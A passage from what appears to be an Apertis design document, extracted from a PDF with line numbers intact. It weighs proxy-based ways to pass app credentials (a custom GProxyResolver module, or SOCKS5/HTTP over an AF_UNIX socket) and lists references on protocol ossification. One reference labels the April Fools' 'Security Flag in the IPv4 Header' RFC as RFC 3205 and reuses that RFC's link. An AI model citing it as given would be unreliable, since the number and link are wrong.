626		support for high-level GLib APIs. We would have to implement an Apertis-
627		specific GProxyResolver module to make an out-of-band $\rm AF_UNIX$ or D-
628		Bus request to negotiate app-specific credentials for that proxy, because
629		IP connections do not convey a user ID or AppArmor profile. This local
630		proxy would be written or configured to allow only the requests that we
631		want to allow.

 $[\]overline{\ \ }^{35} https://docs.microsoft.com/en-gb/xamarin/ios/platform/introduction-to-ios9/\#app-transport-security$

632	– Alternatively, if we modified glib-networking to add support for an
633	Apertis-specific variation of SOCKS5 or HTTP(S) with the connec-
634	tion to the proxy server made via an AF_UNIX socket, then applica-
635	tions contained in a network namespace could also use this technique,
636	and we could use credentials-passing to get the user ID and AppAr-
637	mor profile.

References 638

- RFC 3205^{36} , "On the use of HTTP as a Substrate", describes the problem 639 of "protocol ossification". 640
- Ossification of the Internet³⁷ may have coined the term. 641
- Ossification: a result of not even trying?³⁸ is a more recent document 642 revisiting this issue. 643
- The April Fools'Day RFC 3205³⁹, "The Security Flag in the IPv4 Header" 644
- , alludes to the difficulties faced when attempting to distinguish between 645 malicious and benign network traffic. 646

³⁶https://tools.ietf.org/html/rfc3205

³⁷http://www.scs.stanford.edu/nyu/04sp/notes/l23.pdf

³⁸https://www.iab.org/wp-content/IAB-uploads/2014/12/semi2015_welzl.pdf ³⁹https://tools.ietf.org/html/rfc3205